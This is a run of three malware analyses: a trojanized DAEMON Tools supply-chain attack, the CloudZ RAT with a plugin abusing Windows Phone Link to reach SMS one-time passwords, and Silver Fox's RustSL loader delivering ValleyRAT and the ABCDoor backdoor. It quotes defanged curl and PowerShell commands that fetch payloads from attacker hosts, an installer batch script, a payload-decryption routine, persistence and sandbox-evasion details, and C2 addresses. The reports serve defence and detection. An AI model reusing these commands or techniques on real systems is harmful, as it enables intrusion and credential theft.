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Ataque à cadeia de suprimentos por meio do DAEMON Tools | Blog oficial da Kaspersky

Nossos especialistas descobriram um ataque à cadeia de suprimentos em grande escala via DAEMON Tools – software para emulação de unidades ópticas. Os invasores conseguiram injetar código malicioso nos instaladores do software, e todos os arquivos executáveis trojanizados estão assinados com uma assinatura digital válida da AVB Disc Soft – a desenvolvedora do DAEMON Tools. A versão maliciosa do programa está em circulação desde 8 de abril de 2026. No momento da redação deste artigo, o ataque ainda está em andamento. Os pesquisadores da Kaspersky acreditam que se trata de um ataque direcionado.

Quais são os riscos de instalar a versão maliciosa do DAEMON Tools?

Depois que o software infectado com trojan é instalado no computador da vítima, um arquivo malicioso é executado toda vez que o sistema é inicializado – enviando uma solicitação a um servidor de comando e controle. Em resposta, o servidor pode enviar um comando para baixar e executar cargas maliciosas adicionais.

Primeiro, os invasores implantam um coletor de informações que reúne o endereço MAC, o nome do host, o nome de domínio DNS, listas de processos em execução e de softwares instalados, além das configurações de idioma. O malware então envia essas informações para o servidor de comando e controle.

Em alguns casos, em resposta às informações coletadas, o servidor de comando envia um backdoor minimalista para a máquina da vítima. Ele é capaz de baixar cargas maliciosas adicionais, executar comandos de shell e rodar módulos de shellcode na memória.

O backdoor pode ser usado para implantar um implantado mais sofisticado chamado QUIC RAT. Ele suporta vários protocolos de comunicação com o servidor de comando e controle e é capaz de injetar cargas maliciosas nos processos notepad.exe e conhost.exe.

Informações técnicas mais detalhadas, juntamente com indicadores de comprometimento, podem ser encontradas no artigo dos especialistas no blog Securelist.

Quem está sendo alvo?

Desde o início de abril, foram detectadas várias milhares de tentativas de instalar cargas maliciosas adicionais por meio do software DAEMON Tools infectado. A maioria dos dispositivos infectados pertencia a usuários domésticos, mas aproximadamente 10% das tentativas de instalação foram detectadas em sistemas em execução em organizações. Geograficamente, as vítimas estavam espalhadas por cerca de cem países e territórios diferentes. A maioria das vítimas estava localizada na Rússia, Brasil, Turquia, Espanha, Alemanha, França, Itália e China.

Na maioria das vezes, o ataque se limitava à instalação de um coletor de informações. O backdoor infectou apenas uma dúzia de máquinas em organizações governamentais, científicas e de manufatura, bem como em empresas de varejo na Rússia, Bielorrússia e Tailândia.

O que exatamente foi infectado

O código malicioso foi detectado nas versões do DAEMON Tools que vão da 12.5.0.2421 à 12.5.0.2434. Os invasores comprometeram os arquivos DTHelper.exe, DiscSoftBusServiceLite.exe e DTShellHlp.exe, que estão instalados no diretório principal do DAEMON Tools.

Como se proteger?

Se o software DAEMON Tools for utilizado no seu computador (ou em qualquer outro local da sua organização), nossos especialistas recomendam verificar minuciosamente os computadores nos quais ele está instalado em busca de qualquer atividade incomum a partir de 8 de abril.

Além disso, recomendamos o uso de soluções de segurança confiáveis em todos os computadores domésticoscorporativos usados para acessar a internet. Nossas soluções protegem com sucesso os usuários contra todos os malwares usados no ataque à cadeia de suprimentos via DAEMON Tools.

CloudZ RAT potentially steals OTP messages using Pheno plugin

  • Cisco Talos discovered an intrusion, active since at least January 2026, where an unknown attacker implanted a CloudZ remote access tool (RAT) and a previously undocumented plugin called “Pheno.”
  • According to the functionalities of the CloudZ RAT and Pheno plugin, this was with the intention of stealing victims’ credentials and potentially one-time passwords (OTPs). 
  • CloudZ utilizes the custom Pheno plugin to hijack the established PC-to-phone bridge by abusing the Microsoft Phone Link application, allowing the plugin to continuously scan for active Phone Link processes and potentially intercept sensitive mobile data like SMS and OTPs without deploying malware on the phone. 
  • CloudZ evades detection by executing critical malicious functions dynamically in system memory and performing checks to avoid debuggers and sandbox environments. 

Attacker abuses the Windows Phone Link application 

CloudZ RAT potentially steals OTP messages using Pheno plugin

Windows Phone Link (formerly "Your Phone") is a synchronization tool developed by Microsoft and built directly into Windows 10 and 11 that bridges a PC and a smartphone (Android or iPhone). By establishing a secure connection via Wi-Fi and Bluetooth, the application mirrors essential phone activities (such as application notifications and SMS messages) onto the computer screen, reducing the user’s need to physically interact with the mobile device while working on the computer. The Phone Link application writes synchronized phone data such as SMS messages, call logs, and the application notification history to the Windows PC in the application’s SQLite database file. 

Talos observed that during an intrusion, an attacker attempted to abuse the Windows Phone Link application using the CloudZ RAT and its Pheno plugin. The Pheno plugin is designed to monitor an active PC-to-phone bridge established by the Phone Link application on the victim machine. With a confirmed Phone Link activity on the victim's machine, the attacker using the CloudZ RAT can potentially intercept the Phone Link application’s SQLite database file (e.g., “PhoneExperiences-*.db”) on the victim machine, potentially compromising SMS-based OTP messages and other authenticator application notification messages. 

Intrusion summary of CloudZ infection 

Talos discovered from telemetry data that the intrusion had begun with an unknown initial access vector to the victim's environment, which led to the execution of a fake ScreenConnect application update executable. This malicious executable drop and executes an intermediate .NET loader executable, which subsequently deploys the modular CloudZ on the victim’s machine. Upon execution, the RAT decrypts its configuration data, establishes an encrypted socket connection to the command-and-control (C2) server, and enters its command dispatcher mode.   

CloudZ facilitates the C2 commands to exfiltrate credentials from the victim machine browser data, and it downloads and implants a plugin. The plugin performs reconnaissance of the Microsoft Phone Link application on the victim machine and writes the reconnaissance data to an output file in a staging folder. CloudZ reads back the Phone Link application data from the staging folder and sends it to the C2 server. 

Rust-compiled executable used as a dropper 

Talos discovered a Rust-compiled 64-bit executable, disguised with file names such as “systemupdates.exe” or “Windows-interactive-update.exe”, functioning as a loader. The malicious loader was compiled on Jan. 1, 2026, and has the developer string of rustextractor.pdb

When the loader is run on the victim machine, it decrypts and drops an embedded .NET loader binary disguised as a text file with the file names “update.txt” or “msupdate.txt” in the folder “C:\ProgramData\Microsoft\windosDoc\”. 

CloudZ RAT potentially steals OTP messages using Pheno plugin
Figure 1. Excerpt of rusty dropper code.

In another instance, Talos observed that the .NET loader was implanted in the victim machine by downloading it from an attacker-controlled staging server using the command shown below:  

curl -L -o C:\ProgramData\Microsoft\WindowsDoc\update[.]txt hxxps[://]calm-wildflower-1349[.]hellohiall[.]workers[.]dev

The dropper executes an embedded PowerShell script to establish persistence on the victim machine through a Windows task which executes the dropped malicious .NET loader. The PowerShell script achieves it by initially performing a runtime check to determine whether the dropped .NET loader is already active on the system. It queries all running processes using the Get-CimInstance Win32_Process command and filters for any instance of regasm.exe with the command line parameters that include the string update.txt. If such an instance is found, the script silently exits without taking any action. 

If the check indicates that the .NET loader is not running, the script proceeds to establish persistence by creating a scheduled task named SystemWindowsApis in the scheduled task folder \Microsoft\Windows\. It configures the task to trigger at system startup /sc onstart, execute under the SYSTEM account /ru SYSTEM with the highest privilege level /rl HIGHEST, and the /f flag ensures it will silently overwrite any existing task with the same name, allowing the malware to update its persistence mechanism. The script configures the task scheduler action to run the .NET loader by utilizing the living-off-the-land binary (LOLBin) regasm.exe, which is the .NET Framework Assembly Registration Utility located at “C:\WINDOWS\Microsoft.NET\Framework64\v4.0.30319\”. It provides the path of the dropped .NET loader as the argument to regasm.exe with the /nologo flag. After creating the task, the script immediately triggers it with schtasks /run, ensuring it executes immediately and survives future reboots. 

CloudZ RAT potentially steals OTP messages using Pheno plugin
Figure 2. Excerpt of the PowerShell script to establish persistence on victim machines. 

.NET loader implants the CloudZ RAT 

Talos found that the attacker embedded CloudZ, an encrypted .NET-compiled RAT, in the .NET loader executable. 

When the .NET loader is triggered through the Windows task scheduler, it performs the detection evasion checks beginning with a timing-based evasion check, where it calculates the actual elapsed time of a sleep command to detect if it is executed in the analysis environment. It then performs enumeration of running processes in the victim machine against a list of security tools, including network sniffers like Wireshark and Fiddler, as well as system monitors like Procmon and Sysmon. The .NET loader exits the execution if these are detected in the victim environment. 

CloudZ RAT potentially steals OTP messages using Pheno plugin
Figure 3. Excerpt of the .NET loader binary with detection evasion instructions.

The loader then conducts hardware and environment checks to identify virtual machine (VM) or sandbox characteristics. It verifies that the system has at least two processor cores and searches for strings like “VIRTUAL” or “SANDBOX” within the system directory path, computer name, user domain, and the current victim username.  

CloudZ RAT potentially steals OTP messages using Pheno plugin
Figure 4. Excerpt of the .NET loader binary with detection evasion instructions. 

The loader executable is embedded with multiple chunks of the hexadecimal strings in the binary, which are concatenated sequentially during the execution, reassembling a massive hexadecimal data blob. The loader converts the hexadecimal strings to bytes and performs bytewise XOR decryption using the key hexadecimal (0xCA). If the decrypted payload is a .NET assembly, the loader will reflectively run. Otherwise, it writes the decrypted payload to the folder “%TEMP%\{GUID}” and runs it as a process.  

CloudZ RAT potentially steals OTP messages using Pheno plugin
Figure 5. Excerpt of the .NET loader to execute the .NET payload module. 
CloudZ RAT potentially steals OTP messages using Pheno plugin
Figure 6. Excerpt of the .NET loader to execute the non .NET payload executables. 

Modular CloudZ RAT delivered as payload 

Talos discovered that a CloudZ, a modular RAT, is delivered as the payload in the current intrusion. CloudZ is a .NET executable compiled on Jan. 13, 2026, and is obfuscated with ConfuserEx obfuscation.  

CloudZ RAT potentially steals OTP messages using Pheno plugin
Figure 7. The RAT binary shows the malware name, CloudZ. 

CloudZ employs layers of defense against the analysis environments and reverse engineering. It queries the _ENABLE_PROFILING environment variable via GetEnvironmentVariable Windows API to detect whether a .NET profiler or debugger is attached to the RAT process on the victim machine. It uses the .NET method “System.Reflection.Emit.DynamicMethod” combined with “ILGenerator” method to create the executable functions dynamically during the RAT execution. 

The operation of CloudZ utilizes its configuration data, which is embedded in the binary, as a resource that it decrypts and loads into memory during execution. The decrypted configuration data includes various C2 commands, PowerShell scripts for data archive extraction, multiple file download methods, paths and names of staging folders, multiple HTTP headers, and the URLs of the staging servers. 

CloudZ RAT potentially steals OTP messages using Pheno plugin
Figure 7. CloudZ primary configuration data decrypted in memory. 

After the decryption of the configuration data, CloudZ decodes the Base64-encoded strings to get the URL of the staging server where the secondary configuration is stored.  

CloudZ RAT potentially steals OTP messages using Pheno plugin
Figure 8. CloudZ function that downloads the secondary configuration data from the staging server. 

Talos found that the RAT downloads and processes secondary configuration data through the URLs “hxxps[://]round-cherry-4418[.]hellohiall[.]workers[.]dev/?t=1773406370” or "https[://]pastebin[.]com/raw/8pYAgF0Z?t=1771833517" and extracts the C2 server IP address “185[.]196[.]10[.]136” and port number 8089, establishing connections through TCP sockets. 

Pivoting on the Pastebin URL indicator, we found that the attacker used the Pastebin handler name “HELLOHIALL” and hosted the secondary configuration data at several Pastebin URLs.  

CloudZ RAT potentially steals OTP messages using Pheno plugin
Figure 9. Attacker-controlled Pastebin hosting the secondary configuration data.
CloudZ RAT potentially steals OTP messages using Pheno plugin
Figure 10. Attacker’s Pastebin account hosting multiple nodes of secondary configuration data. 

The RAT rotates between three hardcoded user-agent strings to blend its HTTP traffic with the legitimate browser requests of the victim machine. Every HTTP request includes anti-caching headers consisting of “Cache-Control: no-cache, no-store, must-revalidate", “Pragma: no-cache", and “Expires: 0”, which prevents intermediate proxies and CDN infrastructure from caching C2 or the staging server details.  

User-agent headers used by the CloudZ are: 

  • Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 
  • Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 
  • Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 

After the RAT establishes the C2 connection, it enters the command dispatcher module that relies on a decrypted configuration data loaded into memory. The configuration data contains Base64-encoded command identifiers which the RAT matches against the commands received from the C2 server to perform the several functionalities. The commands facilitated by CloudZ are shown in the table below: 

Base64-encoded command 

Decoded command 

Purpose 

cG9uZw== 

pong 

Heartbeat response 

UElORyE= 

PING! 

Heartbeat request 

Q0xPU0U= 

CLOSE 

Terminate RAT process 

SU5GTw== 

INFO 

collects OS edition, architecture, and hardware details from the victim machine 

UnVuU2hlbGw= 

RunShell 

Execute shell command 

QnJvd3NlclNlYXJjaA== 

BrowserSearch 

Browser data exfiltration 

R2V0V2lkZ2V0TG9n 

GetWidgetLog 

Phone Link recon logs and data exfiltration 

cGx1Z2lu 

plugin 

Load plugin 

c2F2ZVBsdWdpbg== 

savePlugin 

Save plugin to disk at the staging directory C:\ProgramData\Microsoft\whealth\ 

c2VuZFBsdWdpbg== 

sendPlugin 

Upload Plugin to C2 

UmVtb3ZlUGx1Z2lucw== 

RemovePlugins 

Remove all deployed plugin modules 

UmVjb3Zlcnk= 

Recovery 

Recovery or reconnect routine 

RFc= 

DW 

Download and write file operations 

Rk0= 

FM 

File management operations  deletefile 

TE4= 

LN 

Unknown 

TXNn 

Msg 

Send message to C2 

RXJyb3I= 

Error 

Error reporting back to C2 

cmVj 

rec 

Screen recording 

The RAT employs various methods to download and execute the plugins. The plugin download feature of RAT uses a three-method fallback approach. It first checks for the presence of the curl utility. If found, it attempts to download the file from a specified URL to a target path while following redirects. If curl is missing or the command fails, it falls back to PowerShell, where it first tries to download the file using the Invoke-WebRequest command. If that method also fails, it executes a final method that uses the LOLBin“bitsadmin” tool to download and save the plugin payloads to the victim machine.  

CloudZ RAT potentially steals OTP messages using Pheno plugin
Figure 11. CloudZ’s embedded PowerShell command with three different approaches to download operation.

Talos observed from the telemetry data that the attacker has downloaded and implanted the Pheno plugin through the curl command from the staging server. 

curl -L -o C:\Windows\TEMP\pheno.exe hxxps[://]orange-cell-1353[.]hellohiall[.]workers[.]dev/pheno.exe

Pheno plugin to perform the Phone Link application recon 

In this intrusion, Talos observed that the attacker used a plugin called Pheno to perform reconnaissance of the Windows Phone Link application in the victim machine.  

Pheno is designed to detect if a user is currently syncing their mobile device to a Windows machine through the Phone Link application. It scans all running processes for specific keywords such as "YourPhone," "PhoneExperienceHost," or "Link to Windows," and if matches are found, it logs their Process IDs and file paths to the files with the filename “phonelink-<COMPUTERNAME>.txt”, created in two staging folders such as : 

  •  C:\programdata\Microsoft\feedback\cm 
  •  %TEMP%\Microsoft\feedback\cm 
CloudZ RAT potentially steals OTP messages using Pheno plugin
Figure 11. Pheno recon plugin that monitors an active PC-to-phone bridge through Phone Link application. 

After checking Phone Link processes and writing its results, Pheno executes a secondary check that reads back the contents of previously written files and searches the keyword "proxy" in a case-insensitive manner. The plugin conducts this check because the Microsoft Phone Link application creates a local proxy connection to relay traffic between the PC and the paired mobile device. The presence of "proxy" in the output files, whether generated by a previous execution of the pheno plugin, indicates that the Phone Link session is actively routing traffic through its relay channel.  

When the keyword is detected, the pheno plugin writes "Maybe connected" to its output file in the staging folders, which eventually allows the attacker, with the help of CloudZ RAT, to potentially monitor SMS or OTP requests that appear on the Phone Link application. 

CloudZ RAT potentially steals OTP messages using Pheno plugin
Figure 12. Pheno checking for a previous instance of PC-to-phone bridge through Phone Link application. 

Coverage

The following ClamAV signature detects and blocks this threat: 

  • Win.Packed.Msilheracles-10030690-0 
  • Win.Trojan.CloudZRAT-10059935-0 
  • Win.Trojan.CloudZRAT-10059959-0 

The following Snort Rules (SIDs) detect and block this threat: 

  • Snort 2: 66409, 66410, 66408 
  • Snort 3: 301492, 66408 

Indicators of compromise (IOCs) 

The IOCs for this threat are available at our GitHub repository here.

Silver Fox uses the new ABCDoor backdoor to target organizations in Russia and India

In December 2025, we detected a wave of malicious emails designed to look like official correspondence from the Indian tax service. A few weeks later, in January 2026, a similar campaign began targeting Russian organizations. We have attributed this activity to the Silver Fox threat group.

Both waves followed a nearly identical structure: phishing emails were styled as official notices regarding tax audits or prompted users to download an archive containing a “list of tax violations”. Inside the archive was a modified Rust-based loader pulled from a public repository. This loader would download and execute the well-known ValleyRAT backdoor. The campaign impacted organizations across the industrial, consulting, retail, and transportation sectors, with over 1600 malicious emails recorded between early January and early February.

During our investigation, we also discovered that the attackers were delivering a new ValleyRAT plugin to victim devices, which functioned as a loader for a previously undocumented Python-based backdoor. We have named this backdoor ABCDoor. Retrospective analysis reveals that ABCDoor has been part of the Silver Fox arsenal since at least late 2024 and has been utilized in real-world attacks from the first quarter of 2025 to the present day.

Email campaign

In the January campaign, victims received an email purportedly from the tax service with an attached PDF file.

Phishing email sent to victims in Russia

Phishing email sent to victims in Russia

The PDF contained two clickable links to download an archive, both leading to a malicious website: abc.haijing88[.]com/uploads/фнс/фнс.zip.

Contents of the PDF file from the January phishing wave

Contents of the PDF file from the January phishing wave

Contents of the фнс.zip archive

Contents of the фнс.zip archive

In the December campaign, the malicious code was embedded directly within the files attached to the email.

Phishing email sent to victims in India

Phishing email sent to victims in India

The email shown in the screenshot above was sent via the SendGrid cloud platform and contained an archive named ITD.-.rar. Inside was a single executable file, Click File.exe, with an Adobe PDF icon (the RustSL loader).

Contents of ITD.-.rar

Contents of ITD.-.rar

Additionally, in late December, emails were distributed with an attachment titled GST.pdf containing two links leading to hxxps://abc.haijing88[.]com/uploads/印度邮箱/CBDT.rar. (印度邮箱 translates from Chinese as “Indian mailbox”).

PDF file from the phishing email

PDF file from the phishing email

Both versions of the campaign attempt to exploit the perceived importance of tax authority correspondence to convince the victim to download the document and initiate the attack chain. The method of using download links within a PDF is specifically designed to bypass email security gateways; since the attached document only contains a link that requires further analysis, it has a higher probability of reaching the recipient compared to an attachment containing malicious code.

RustSL loader

The attackers utilized a modified version of a Rust-based loader called RustSL, whose source code is publicly available on GitHub with a description in Chinese:

Screenshot of the description from the RustSL loader GitHub project

Screenshot of the description from the RustSL loader GitHub project

The description also refers to RustSL as an antivirus bypass framework, as it features a builder with extensive customization options:

  • Eight payload encryption methods
  • Thirteen memory allocation methods
  • Twelve sandbox and virtual machine detection techniques
  • Thirteen payload execution methods
  • Five payload encoding methods

Furthermore, the original version of RustSL encrypts all strings by default and inserts junk instructions to complicate analysis.

The Silver Fox APT group first began using a modified version of RustSL in late December 2025.

Silver Fox RustSL

This section examines the key changes the Silver Fox group introduced to RustSL. We will refer to this customized version as Silver Fox RustSL to distinguish it from the original.

The steganography.rs module

The attackers added a module named steganography.rs to RustSL. Despite the name, it has little to do with actual steganography; instead, it implements the unpacking logic for the malicious payload.

The usage of the new module within the Silver Fox RustSL code

The usage of the new module within the Silver Fox RustSL code

The threat actors also modified the RustSL builder to support the new format and payload packing.

The attackers employed several methods to deliver the encrypted malicious payload. In December, we observed files being downloaded from remote hosts followed by delivery within the loader itself. Later, the attackers shifted almost entirely to placing the malicious payload inside the same archive as the loader, disguised as a standalone file with extensions like PNG, HTM, MD, LOG, XLSX, ICO, CFG, MAP, XML, or OLD.

Encrypted malicious payload format

The encrypted payload file delivered by the Silver Fox RustSL loader followed this structure:

<RSL_START>rsl_encrypted_payload<RSL_END>

If additional payload encoding was selected in the builder, the loader would decode the data before proceeding with decryption.

The rsl_encrypted_payload followed this specific format:

char sha256_hash[32]; // decrypted payload hash
DWORD enc_payload_len;
WORD sgn_decoder_size;
char sgn_iterations;
char sgn_key;
char decoder[sgn_decoder_size];
char enc_payload[enc_payload_len];

Below is a description of the data blocks contained within it:

  • sha256_hash: the hash of the decrypted payload. After decryption, the loader calculates the SHA256 hash and compares it against this value; if they do not match, the process terminates.
  • enc_payload_len: the size of the encrypted payload
  • sgn_iterations and sgn_key: parameters used for decryption
  • sgn_decoder_size and decoder: unused fields
  • enc_payload: the primary payload

Notably, the new proprietary steganography.rs module was implemented using the same logic as the public RustSL modules (such as ipv4.rs, ipv6.rs, mac.rs, rc4.rs, and uuid.rs in the decrypt directory). It utilized a similar payload structure where the first 32 bytes consist of a SHA-256 hash and the payload size.

To decrypt the malicious payload, steganography.rs employed a custom XOR-based algorithm. Below is an equivalent implementation in Python:

def decrypt(data: bytes, sgn_key: int, sgn_iterations: int) -> bytes:
    buf = bytearray(data)
    xor_key = sgn_key & 0xFF

    for _ in range(sgn_iterations):
        k = xor_key
        for i in range(len(buf)):
            dec = buf[i] ^ k

            if k & 1:
                k = (dec ^ ((k >> 1) ^ 0xB8)) & 0xFF
            else:
                k = (dec ^ (k >> 1)) & 0xFF

            buf[i] = dec

    return bytes(buf)

The unpacking process consists of the following stages:

  1. Extraction of rsl_encrypted_payload.The loader extracts the encrypted payload body located between the <RSL_START> and <RSL_END> markers.

    Original file containing the encrypted malicious payload

    Original file containing the encrypted malicious payload

  2. XOR decryption with a hardcoded key.Most loaders used the hardcoded key RSL_STEG_2025_KEY.
  3. Payload decoding occurs if the corresponding setting was enabled in the builder.The GitHub version of the builder offers several encoding options: Base64, Base32, Hex, and urlsafe_base64. Silver Fox utilized each option at least once. Base64 was the most frequent choice, followed by Hex and Base32, with urlsafe_base64 appearing in a few samples.

    Encrypted malicious payload prior to the final decryption stage

    Encrypted malicious payload prior to the final decryption stage

  4. Decryption of the final payload using a multi-pass XOR algorithm that modifies the key after each iteration (as demonstrated in the Python algorithm provided above).

The guard.rs module

Another module added to Silver Fox RustSL is guard.rs. It implements various environment checks and country-based geofencing.

In the earliest loader samples from late December 2025, the Silver Fox group utilized every available method for detecting virtual machines and sandboxes, while also verifying if the device was located in a target country. In later versions, the group retained only the geolocation check; however, they expanded both the list of countries allowed for execution and the services used for verification.

The GitHub version of the loader only includes China in its country list. In customized Silver Fox loaders built prior to January 19, 2026, this list included India, Indonesia, South Africa, Russia, and Cambodia. Starting with a sample dated January 19, 2026 (MD5: e6362a81991323e198a463a8ce255533), Japan was added to the list.

To determine the host country, Silver Fox RustSL sends requests to five public services:

  • ip-api.com (the GitHub version relies solely on this service)
  • ipwho.is
  • ipinfo.io
  • ipapi.co
  • www.geoplugin.net

Phantom Persistence

We discovered that a loader compiled on January 7, 2026 (MD5: 2c5a1dd4cb53287fe0ed14e0b7b7b1b7), began to use the recently documented Phantom Persistence technique to establish persistence. This method abuses functionality designed to allow applications requiring a reboot for updates to complete the installation process properly. The attackers intercept the system shutdown signal, halt the normal shutdown sequence, and trigger a reboot under the guise of an update for the malware. Consequently, the loader forces the system to execute it upon OS startup. This specific sample was compiled in debug mode and logged its activity to rsl_debug.log, where we identified strings corresponding to the implementation of the Phantom Persistence technique:

[unix_timestamp] God-Tier Telemetry Blinding: Deployed via HalosGate Indirect Syscalls.
[unix_timestamp] RSL started in debug mode.
[unix_timestamp] ==========================================
[unix_timestamp]     Phantom Persistence Module (Hijack Mode) 
[unix_timestamp] ==========================================
[unix_timestamp] [*] Calling RegisterApplicationRestart...
[unix_timestamp] [+] RegisterApplicationRestart succeeded.
[unix_timestamp] [*] Note: This API mainly works for application crashes, not for user-initiated shutdowns.
[unix_timestamp] [*] For full persistence, you need to trigger the shutdown hijack logic.
[unix_timestamp] [*] Starting message thread to monitor shutdown events...
[unix_timestamp] [+] SetProcessShutdownParameters (0x4FF) succeeded.
[unix_timestamp] [+] Window created successfully, message loop started.
[unix_timestamp] [+] Phantom persistence enabled successfully.
[unix_timestamp] [*] Hijack logic: Shutdown signal -> Abort shutdown -> Restart with EWX_RESTARTAPPS.
[unix_timestamp] Phantom persistence enabled.
[unix_timestamp] Mouse movement check passed.
[unix_timestamp] IP address check passed.
[unix_timestamp] Pass Sandbox/VM detection.

Attack chain and payloads

During this phishing campaign, Silver Fox utilized two primary methods for delivering malicious archives:

  • As an email attachment
  • Via a link to an external attacker-controlled website contained within a PDF attachment

We also observed three different ways the payload was positioned relative to the loader:

  • Embedded within the loader body
  • Hosted on an external website as a PNG image
  • Placed within the same archive as the loader

The diagram below illustrates the attack chain using the example of an email containing a PDF file and the subsequent delivery of a malicious payload from an external attacker-controlled website.

Attack chain of the campaign utilizing the RustSL loader

Attack chain of the campaign utilizing the RustSL loader

The infection chain begins when the user runs an executable file (the Silver Fox modification of the RustSL loader) disguised with a PDF or Excel icon. RustSL then loads an encrypted payload, which functions as shellcode. This shellcode then downloads an encrypted ValleyRAT (also known as Winos 4.0) backdoor module named 上线模块.dll from the attackers’ server. The filename translates from Chinese as “online-module.dll”, so for the sake of clarity, we’ll refer to it as the Online module.

Beginning of the decrypted payload: shellcode for loading the ValleyRAT (Winos 4.0) Online module

Beginning of the decrypted payload: shellcode for loading the ValleyRAT (Winos 4.0) Online module

The Online module proceeds to load the core component of ValleyRAT: the Login module (the original filename 登录模块.dll_bin translates from Chinese as “login-module.dll_bin”). This module manages C2 server communication, command execution, and the downloading and launching of additional modules.

The initial shellcode, as well as the Online and Login modules, utilize a configuration located at the end of the shellcode:

End of the decrypted payload: ValleyRAT (Winos 4.0) configuration

End of the decrypted payload: ValleyRAT (Winos 4.0) configuration

The values between the “|” delimiters are written in reverse order. By restoring the correct character sequence, we obtain the following string:

|p1:207.56.138[.]28|o1:6666|t1:1|p2:127.0.0.1|o2:8888|t2:1|p3:127.0.0.1|o3:80|t3:1|dd:1|cl:1|fz:飘诈|bb:1.0|bz:2025.11.16|jp:0|bh:0|ll:0|dl:0|sh:0|kl:0|bd:0|

The key configuration parameters in this string are:

  • p#, o#: IP addresses and ports of the ValleyRAT C2 servers in descending order of priority
  • bz: the creation date of the configuration

The Silver Fox group has long employed the infection chain described above – from the encrypted shellcode through the loading of the Login module – to deploy ValleyRAT. This procedure and its configuration parameters are documented in detail in industry reports: (1, 2, and 3).

Once the Login module is running, ValleyRAT enters command-processing mode, awaiting instructions from the C2. These commands include the retrieval and execution of various additional modules.

ValleyRAT utilizes the registry to store its configurations and modules:

Registry key Description
HKCU:\Console\0 For x86-based modules
HKCU:\Console\1 For x64-based modules
HKCU:\Console\IpDate Hardcoded registry location checked upon Login module startup
HKCU:\Software\IpDates_info Final configuration

The ValleyRAT builder leaked in March 2025 contained 20 primary and over 20 auxiliary modules. During this specific phishing campaign, we discovered that after the main module executed, it loaded two previously unseen modules with similar functionality. These modules were responsible for downloading and launching a previously undocumented Python-based backdoor we have dubbed ABCDoor.

Custom ValleyRAT modules

The discovered modules are named 保86.dll and 保86.dll_bin. Their parameters are detailed in the table below.

HKCU:\Console\0 registry key value Module name Library MD5 hash Compiled date and time (UTC)
fc546acf1735127db05fb5bc354093e0 保86.dll 4a5195a38a458cdd2c1b5ab13af3b393 2025-12-04 04:34:31
fc546acf1735127db05fb5bc354093e0 保86.dll e66bae6e8621db2a835fa6721c3e5bbe 2025-12-04 04:39:32
2375193669e243e830ef5794226352e7 保86.dll_bin e66bae6e8621db2a835fa6721c3e5bbe 2025-12-04 04:39:32

Of particular note is the PDB path found in all identified modules: C:\Users\Administrator\Desktop\bat\Release\winos4.0测试插件.pdb. In Chinese, 测试插件 translates to “test plugin”, which may suggest that these modules are still in development.

Upon execution, the 保86.dll module determines the host country by querying the same five services used by the guard.rs module in Silver Fox RustSL: ipinfo.io, ip-api.com, ipapi.co, ipwho.is, and geoplugin.net. For the module to continue running, the infected device must be located in one of the following countries:

Countries where the 保86.dll module functions

Countries where the 保86.dll module functions

If the geolocation check passes, the module attempts to download a 52.5 MB archive from a hardcoded address using several methods. The sample with MD5 4a5195a38a458cdd2c1b5ab13af3b393 queried hxxp://154.82.81[.]205/YD20251001143052.zip, while the sample with MD5 e66bae6e8621db2a835fa6721c3e5bbe queried
hxxp://154.82.81[.]205/YN20250923193706.zip.

Interestingly, Silver Fox updated the YD20251001143052.zip archive multiple times but continued to host it on the same C2 (154.82.81[.]205) without changing the filename.

The module implements the following download methods:

  1. Using the InternetReadFile function with the User-Agent PythonDownloader
  2. Using the URLDownloadToFile function
  3. Using PowerShell:
    powershell.exe -Command "& {[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12; [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}; $ProgressPreference = 'SilentlyContinue'; try { Invoke-WebRequest -Uri 'hxxp://154.82.81[.]205/YD20251001143052.zip' -OutFile '$appdata\appclient\111.zip' -UseBasicParsing -TimeoutSec 600 } catch { exit 1 } }"
  4. Using curl:
    curl.exe -L -o "%LOCALAPPDATA%\appclient\111.zip" "hxxp://154.82.81[.]205/YD20251001143052.zip" --silent --show-error --insecure --max-time 600

The archive was saved to the path %LOCALAPPDATA%\appclient\111.zip.

Contents of the 111.zip archive

Contents of the 111.zip archive

The archive is quite large because the python directory contains a Python environment with the packages required to run the previously unknown ABCDoor backdoor (which we will describe in the next section), while the ffmpeg directory includes ffmpeg.exe, a statically linked, legitimate audio/video tool that the backdoor uses for screen capturing.

Once downloaded, the DLL module extracts the archive using COM methods and runs the following command to execute update.bat:

cmd.exe /c "C:\Users\<user>\AppData\Local\appclient\update.bat"

The update.bat script copies the extracted files to C:\ProgramData\Tailscale. This path was chosen intentionally: it corresponds to the legitimate utility Tailscale (a mesh VPN service based on the WireGuard protocol that connects devices into a single private network). By mimicking a VPN service, the attackers likely aim to mask their presence and complicate the analysis of the compromised system.

@echo off
set "script_dir=%~dp0"
set SRC_DIR=%script_dir%
set DES_DIR=C:\ProgramData\Tailscale

rmdir /s /q "%DES_DIR%"
mkdir "%DES_DIR%"
call :recursiveCopy "%SRC_DIR%" "%DES_DIR%"

start "" /B "%DES_DIR%\python\pythonw.exe" -m appclient
exit /b

:recursiveCopy
set "src=%~1"
set "dest=%~2"
if not exist "%dest%" mkdir "%dest%"
for %%F in ("%src%\*") do (
    copy "%%F" "%dest%" >nul
)
for /d %%D in ("%src%\*") do (
    call :recursiveCopy "%%D" "%dest%\%%~nxD"
)
exit /b

Contents of update.bat
After copying the files, the script launches the appclient Python module using the legitimate pythonw tool:
start "" /B "%DES_DIR%\python\pythonw.exe" -m appclient

ABCDoor Python backdoor

The primary entry point for the appclient module, the __main__.py file, contains only a few lines of code. These lines are responsible for utilizing the setproctitle library and executing the run function, to which the C2 address is passed as a parameter.

Code for main.py: the module entry point

Code for main.py: the module entry point

The setproctitle library is primarily used on Linux or macOS systems to change a displayed process name. However, its functionality is significantly limited on Windows; rather than changing the process name itself, it creates a named object in the format python(<pid>): <proctitle>. For example, for the appclient module, this object would appear as follows:

\Sessions\1\BaseNamedObjects\python(8544): AppClientABC

We believe the use of setproctitle may indicate the existence of backdoor versions for non-Windows systems, or at least plans to deploy it in such environments.

